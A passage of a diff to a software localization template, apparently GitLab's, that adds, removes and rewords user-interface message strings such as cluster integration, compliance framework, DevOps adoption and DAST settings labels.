msgstr ""
+msgid "Boards|New epic"
+msgstr ""
+
msgid "Boards|Retrieving blocking %{issuableType}s"
msgstr ""
@@ -5339,6 +5360,9 @@ msgstr ""
msgid "Board|Enter board name"
msgstr ""
+msgid "Board|Failed to create epic. Please try again."
+msgstr ""
+
msgid "Board|Failed to delete board. Please try again."
msgstr ""
@@ -5561,6 +5585,9 @@ msgstr ""
msgid "Browse files"
msgstr ""
+msgid "Browse templates"
+msgstr ""
+
msgid "BuildArtifacts|An error occurred while fetching the artifacts"
msgstr ""
@@ -5729,6 +5756,9 @@ msgstr ""
msgid "CICDAnalytics|Deployment frequency"
msgstr ""
+msgid "CICDAnalytics|Lead time"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5776,10 +5806,10 @@ msgstr ""
msgid "CICD|Jobs"
msgstr ""
-msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs by default in all projects with no CI/CD configuration file."
msgstr ""
-msgid "CICD|The Auto DevOps pipeline will run if no alternative CI configuration file is found."
+msgid "CICD|The Auto DevOps pipeline runs if no alternative CI configuration file is found."
msgstr ""
msgid "CICD|group enabled"
@@ -5824,6 +5854,9 @@ msgstr ""
msgid "CVE|Why Request a CVE ID?"
msgstr ""
+msgid "Cadence is not automated"
+msgstr ""
+
msgid "Callback URL"
msgstr ""
@@ -5947,9 +5980,6 @@ msgstr ""
msgid "Cannot delete %{profile_name} referenced in security policy"
msgstr ""
-msgid "Cannot enable shared runners because parent group does not allow it"
-msgstr ""
-
msgid "Cannot have multiple Jira imports running at the same time"
msgstr ""
@@ -6055,15 +6085,15 @@ msgstr ""
msgid "Change path"
msgstr ""
-msgid "Change permissions"
-msgstr ""
-
msgid "Change reviewer(s)"
msgstr ""
msgid "Change reviewer(s)."
msgstr ""
+msgid "Change role"
+msgstr ""
+
msgid "Change status"
msgstr ""
@@ -6340,6 +6370,9 @@ msgstr ""
msgid "Checkout|Failed to load states. Please try again."
msgstr ""
+msgid "Checkout|Failed to load the payment form. Please try again."
+msgstr ""
+
msgid "Checkout|Failed to register credit card. Please try again."
msgstr ""
@@ -6442,9 +6475,6 @@ msgstr ""
msgid "Choose a group"
msgstr ""
-msgid "Choose a role permission"
-msgstr ""
-
msgid "Choose a template"
msgstr ""
@@ -6472,6 +6502,9 @@ msgstr ""
msgid "Choose specific groups or storage shards"
msgstr ""
+msgid "Choose the preferred Runner and populate the AWS CFT."
+msgstr ""
+
msgid "Choose the top-level group for your repository imports."
msgstr ""
@@ -6901,9 +6934,6 @@ msgstr ""
msgid "ClusterAgent|This feature is only available for premium plans"
msgstr ""
-msgid "ClusterAgent|This project is not included in the GitLab.com rollout for Kubernetes agent"
-msgstr ""
-
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -6913,24 +6943,12 @@ msgstr ""
msgid "ClusterAgent|You have insufficient permissions to delete this cluster agent"
msgstr ""
-msgid "ClusterIntegration|%{appList} was successfully installed on your Kubernetes cluster"
-msgstr ""
-
-msgid "ClusterIntegration|%{boldStart}Note:%{boldEnd} Requires Ingress to be installed."
-msgstr ""
-
-msgid "ClusterIntegration|%{externalIp}.nip.io"
+msgid "ClusterApplicationsRemoved|One-click application management was removed in GitLab 14.0. Your applications are still installed in your cluster, and integrations continue working."
msgstr ""
msgid "ClusterIntegration|%{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|%{title} uninstalled successfully."
-msgstr ""
-
-msgid "ClusterIntegration|%{title} updated successfully."
-msgstr ""
-
msgid "ClusterIntegration|A cluster management project can be used to run deployment jobs with Kubernetes %{code_open}cluster-admin%{code_close} privileges."
msgstr ""
@@ -6964,15 +6982,6 @@ msgstr ""
msgid "ClusterIntegration|Advanced options on this Kubernetes cluster’s integration"
msgstr ""
-msgid "ClusterIntegration|All data not committed to GitLab will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All data will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|All installed applications and related resources"
-msgstr ""
-
msgid "ClusterIntegration|Allow GitLab to manage namespace and service accounts for this cluster. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -6985,9 +6994,6 @@ msgstr ""
msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
msgstr ""
-msgid "ClusterIntegration|Alternatively, "
-msgstr ""
-
msgid "ClusterIntegration|Amazon EKS"
msgstr ""
@@ -7009,9 +7015,6 @@ msgstr ""
msgid "ClusterIntegration|Any project namespaces"
msgstr ""
-msgid "ClusterIntegration|Any running pipelines will be canceled."
-msgstr ""
-
msgid "ClusterIntegration|Apply for credit"
msgstr ""
@@ -7030,15 +7033,6 @@ msgstr ""
msgid "ClusterIntegration|CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Can be safely removed. Prior to GitLab 13.2, GitLab used a remote Tiller server to manage the applications. GitLab no longer uses this server. Uninstalling this server will not affect your other applications. This row will disappear afterwards."
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager"
-msgstr ""
-
-msgid "ClusterIntegration|Cert-Manager is a native Kubernetes certificate management controller that helps with issuing certificates. Installing Cert-Manager on your cluster will issue a certificate by %{linkStart}Let's Encrypt%{linkEnd} and ensure that certificates are valid and up-to-date."
-msgstr ""
-
msgid "ClusterIntegration|Certificate Authority bundle (PEM format)"
msgstr ""
@@ -7060,9 +7054,6 @@ msgstr ""
msgid "ClusterIntegration|Choose the worker node %{linkStart}instance type%{linkEnd}."
msgstr ""
-msgid "ClusterIntegration|Choose which applications to install on your Kubernetes cluster."
-msgstr ""
-
msgid "ClusterIntegration|Choose which of your environments will use this cluster."
msgstr ""
@@ -7075,15 +7066,12 @@ msgstr ""
msgid "ClusterIntegration|Cluster Region"
msgstr ""
-msgid "ClusterIntegration|Cluster management project (alpha)"
+msgid "ClusterIntegration|Cluster management project"
msgstr ""
msgid "ClusterIntegration|Cluster name is required."
msgstr ""
-msgid "ClusterIntegration|Cluster_applications artifact too big. Maximum allowable size: %{human_size}"
-msgstr ""
-
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
@@ -7105,15 +7093,6 @@ msgstr ""
msgid "ClusterIntegration|Copy CA Certificate"
msgstr ""
-msgid "ClusterIntegration|Copy Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|Copy Knative Endpoint"
-msgstr ""
-
msgid "ClusterIntegration|Copy Kubernetes cluster name"
msgstr ""
@@ -7162,12 +7141,6 @@ msgstr ""
msgid "ClusterIntegration|Creating Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Crossplane"
-msgstr ""
-
-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7183,9 +7156,6 @@ msgstr ""
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7201,9 +7171,6 @@ msgstr ""
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr ""
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7246,27 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
-msgid "ClusterIntegration|GitLab Runner"
-msgstr ""
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7294,9 +7246,6 @@ msgstr ""
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7306,18 +7255,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7339,39 +7276,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr ""
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr ""
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7405,9 +7312,6 @@ msgstr ""
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7456,12 +7360,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7504,9 +7402,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr ""
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr ""
@@ -7516,15 +7411,6 @@ msgstr ""
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr ""
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7561,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr ""
@@ -7591,9 +7459,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7642,15 +7507,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr ""
@@ -7675,9 +7534,6 @@ msgstr ""
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7696,27 +7552,12 @@ msgstr ""
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7726,24 +7567,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7774,9 +7597,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7798,21 +7618,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7837,27 +7645,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr ""
@@ -7873,12 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr ""
@@ -7951,6 +7738,9 @@ msgstr ""
msgid "Code owners"
msgstr ""
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7966,9 +7756,15 @@ msgstr ""
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8265,9 +8061,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8304,9 +8097,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8325,42 +8115,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8379,6 +8136,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8629,6 +8389,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8982,7 +8745,7 @@ msgstr ""
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -9021,6 +8784,9 @@ msgstr ""
msgid "Copy ID"
msgstr ""
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr ""
@@ -9087,6 +8853,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9327,9 +9096,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr ""
@@ -9456,9 +9222,6 @@ msgstr ""
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9690,6 +9453,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9699,9 +9468,6 @@ msgstr ""
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9717,9 +9483,6 @@ msgstr ""
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr ""
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9795,6 +9558,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr ""
@@ -10012,9 +9778,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr ""
@@ -10081,6 +9844,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10440,9 +10215,6 @@ msgstr ""
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10467,6 +10239,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10500,7 +10275,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10620,6 +10395,9 @@ msgstr ""
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11291,12 +11069,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11354,7 +11150,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11366,21 +11162,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11414,6 +11213,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11435,6 +11237,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11453,15 +11258,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
msgstr ""
msgid "Diff limits"
msgstr ""
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11647,7 +11449,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11698,7 +11500,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11707,6 +11509,9 @@ msgstr ""
msgid "Done"
msgstr ""
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr ""
@@ -11923,9 +11728,6 @@ msgstr ""
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr ""
@@ -11959,9 +11761,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -12022,6 +11821,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12151,6 +11953,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12160,13 +11965,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr ""
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12247,13 +12055,10 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
-msgid "Enable or disable version check and usage ping."
+msgid "Enable or disable version check and service ping."
msgstr ""
msgid "Enable protected paths rate limit"
@@ -12271,6 +12076,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12286,9 +12094,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr ""
@@ -12298,9 +12103,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr ""
-
msgid "Enable version check"
msgstr ""
@@ -12430,6 +12232,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12595,9 +12400,6 @@ msgstr ""
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -13078,7 +12880,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
